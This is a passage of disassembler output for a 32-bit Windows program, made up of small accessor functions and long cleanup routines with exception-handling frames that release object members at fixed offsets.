arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4167B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167D0	proc near		; CODE XREF: sub_401F8Cj
		mov	eax, [ecx]
		retn
sub_4167D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167F0	proc near		; CODE XREF: sub_4017DFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4167F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416810	proc near		; CODE XREF: sub_401EBAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_416810	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416840	proc near		; CODE XREF: sub_401866j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_416840	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416860	proc near		; CODE XREF: sub_401E15j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4020EA
		add	esp, 8
		retn	8
sub_416860	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416890	proc near		; CODE XREF: sub_401401j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_3
		pop	ecx
		retn	4
sub_416890	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168B0	proc near		; CODE XREF: sub_401618j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4168B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168D0	proc near		; CODE XREF: sub_4012CBj
		mov	eax, [ecx]
		retn
sub_4168D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168F0	proc near		; CODE XREF: sub_401E74j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4168F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416920	proc near		; CODE XREF: sub_40125Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41693B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41693B:				; CODE XREF: sub_416920+11j
		retn
sub_416920	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416970	proc near		; CODE XREF: sub_40205Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41698B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41698B:				; CODE XREF: sub_416970+11j
		retn
sub_416970	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4169C0	proc near		; CODE XREF: sub_4020EAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_4169DB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_4169DB:				; CODE XREF: sub_4169C0+11j
		retn
sub_4169C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr	db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌè',1Bh,0
		align 4
		dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 449118B9h
		dd 0B426E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
		dd 416A7068h, 115CE800h, 0C3590002h, 90909090h,	4 dup(0CCCCCCCCh)
		dd 449118B9h, 0B1DEE900h, 9090FFFEh, 90909090h,	4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_416A90:				; CODE XREF: ___:00401C58j
		push	0FFFFFFFFh
		push	offset loc_43B2E1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+9FD83h]
		mov	dword ptr [esp+10h], 1Ah
		call	sub_4021FD
; ---------------------------------------------------------------------------
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+10h], 19h
		call	sub_401226
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+10h], 18h
		call	sub_401226
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+10h], 17h
		call	sub_401226
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+10h], 16h
		call	sub_401226
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+10h], 15h
		call	sub_401F00
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+10h], 14h
		call	sub_401776
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+10h], 13h
		call	sub_402013
		lea	ecx, [esi+9FBCDh]
		mov	byte ptr [esp+10h], 12h
		call	sub_401E06
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+10h], 11h
		call	sub_401889
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+10h], 10h
		call	sub_401113
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401F46
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401B3B
		lea	ecx, [esi+9FA13h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_4017DA
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_4018D9
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401ECE
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_402239
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+10h], 9
		call	sub_4017AD
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+10h], 8
		call	sub_401A32
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+10h], 7
		call	sub_4013C5
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+10h], 6
		call	sub_401235
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+10h], 5
		call	sub_401EA1
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+10h], 4
		call	sub_4014FB
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+10h], 3
		call	sub_401AFA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+10h], 2
		call	sub_401CA3
; ---------------------------------------------------------------------------
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+10h], 1
		call	sub_401938
		lea	ecx, [esi+3Eh]
		mov	byte ptr [esp+10h], 0
		call	sub_401447
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401262
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D00	proc near		; CODE XREF: sub_401A32j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+15h]
		mov	dword ptr [esi], offset	off_43F050
		test	eax, eax
		jle	short loc_416D17
		push	eax
		nop
		call	near ptr 71AB9639h


loc_416D17:				; CODE XREF: sub_416D00+Ej
		mov	ecx, esi
		call	sub_40204F
		pop	esi
		retn
sub_416D00	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D30	proc near		; CODE XREF: ___:0040126Cj sub_4019CEj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A32
		test	[esp+4+arg_0], 1
		jz	short loc_416D48
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416D48:				; CODE XREF: sub_416D30+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416D30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D60	proc near		; CODE XREF: sub_4017ADj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+11h]
		mov	dword ptr [esi], offset	off_43F05C
		test	eax, eax
		jle	short loc_416D77
		push	eax
		nop
		call	near ptr 71AB9639h


loc_416D77:				; CODE XREF: sub_416D60+Ej
		mov	ecx, esi
		call	sub_40204F
		pop	esi
		retn
sub_416D60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416D90:				; CODE XREF: ___:00401631j
					; ___:loc_401CADj
		push	esi
		mov	esi, ecx
		call	sub_4017AD
		test	byte ptr [esp+8], 1
		jz	short loc_416DA8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416DA8:				; CODE XREF: ___:00416D9Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416DC0	proc near		; CODE XREF: sub_401776j
		mov	dword ptr [ecx], offset	off_43F068
		jmp	sub_40204F
sub_416DC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416DE0:				; CODE XREF: ___:loc_401929j
					; ___:004021ADj
		push	esi
		mov	esi, ecx
		call	sub_401776
		test	byte ptr [esp+8], 1
		jz	short loc_416DF8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416DF8:				; CODE XREF: ___:00416DEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416E10	proc near		; CODE XREF: sub_401889j
		mov	dword ptr [ecx], offset	off_43F074
		add	ecx, 4
		jmp	sub_401023
sub_416E10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416E30:				; CODE XREF: ___:00401E60j
		push	0FFFFFFFFh
		push	offset loc_43B4C1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+8], esi
		call	sub_4020BD
; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Eh]
		mov	dword ptr [esp+14h], 0
		call	sub_4015E6
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+14h], 1
		call	sub_40129E
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+14h], 2
		call	sub_402018
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+14h], 3
		call	sub_401A00
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+14h], 4
		call	sub_401587
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+14h], 5
		call	sub_40164F
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+14h], 6
		call	sub_401780
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+14h], 7
		call	sub_40169F
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+14h], 8
		call	sub_40182F
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+14h], 9
		call	sub_4016BD
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+14h], 0Ah
		call	sub_40141F
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+14h], 0Bh
		call	sub_401302
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+14h], 0Ch
		call	sub_401271
		lea	ecx, [esi+8F51Fh]
		mov	byte ptr [esp+14h], 0Dh
		call	sub_401D25
		lea	ecx, [esi+9FA13h]
		call	sub_4012FD
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+14h], 0Eh
		call	sub_401A91
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+14h], 0Fh
		call	sub_401285
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+14h], 10h
		call	sub_401CB7
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+14h], 11h
		call	sub_402121
; ---------------------------------------------------------------------------
		mov	byte ptr [esp+14h], 12h
		lea	ecx, [esi+9FBCDh]
		call	sub_40157D
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+14h], 13h
		call	sub_401799
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+14h], 14h
		call	sub_401069
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+14h], 15h
		call	sub_401073
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+14h], 16h
		call	sub_40142E
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+14h], 17h
		call	sub_40142E
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+14h], 18h
		call	sub_40142E
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+14h], 19h
		call	sub_40142E
		lea	eax, [esp+7]
		lea	ecx, [esi+9FD83h]
		push	eax
		mov	byte ptr [esp+18h], 1Ah
		call	sub_401B0E
; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4170B0	proc near		; CODE XREF: sub_401262j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4170B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401B1D
sub_4170B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417120	proc near		; CODE XREF: sub_401938j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417120
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+179Fh]
		mov	[esp+14h+var_4], 3Ch
		call	sub_40208B
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_40208B
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_40208B
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_40208B
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_40208B
		mov	byte ptr [esp+14h+var_4], 37h
		lea	ecx, [esi+0E51h]
		call	sub_401023
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401023
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401023
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401023
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401023
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401023
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401023
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401023
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401023
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401023
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401023
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401023
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401023
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401023
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401023
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401023
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401023
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_401AE6
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_401AE6
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_401AE6
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_401AE6
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_401AE6
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_401AE6
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_401AE6
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_401AE6
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_401AE6
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_401AE6
		mov	byte ptr [esp+14h+var_4], 1Ch
		lea	ecx, [esi+84Eh]
		call	sub_401AE6
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_401AE6
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_401AE6
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_401AE6
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_401AE6
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_401AE6
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_401AE6
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_401AE6
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_401AE6
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_401AE6
		lea	ecx, [esi+574h]
		mov	byte ptr [esp+14h+var_4], 12h
		call	sub_401AE6
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_401AE6
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_401AE6
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_401AE6
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_401AE6
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_401AE6
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_401AE6
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_401AE6
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_401AE6
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_401AE6
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_401AE6
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_401AE6
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_401AE6
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AE6
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AE6
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AE6
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AE6
		mov	byte ptr [esp+14h+var_4], 1
		lea	ecx, [esi+9Bh]
		call	sub_401AE6
		lea	ecx, [esi+52h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AE6
		lea	ecx, [esi+9]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AE6
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417120	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417640	proc near		; CODE XREF: sub_4014FBj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0A3h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417640	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4176E0	proc near		; CODE XREF: sub_401EA1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4176E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+118h]
		mov	[esp+14h+var_4], 5
		call	sub_401023
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4176E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4177B0	proc near		; CODE XREF: sub_401235j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4177B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8D0C0h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+8D036h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+8D008h]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4177B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417870	proc near		; CODE XREF: sub_402239j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417870
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417870	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417930	proc near		; CODE XREF: sub_401ECEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417930
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417930	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4179F0	proc near		; CODE XREF: sub_4018D9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4179F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
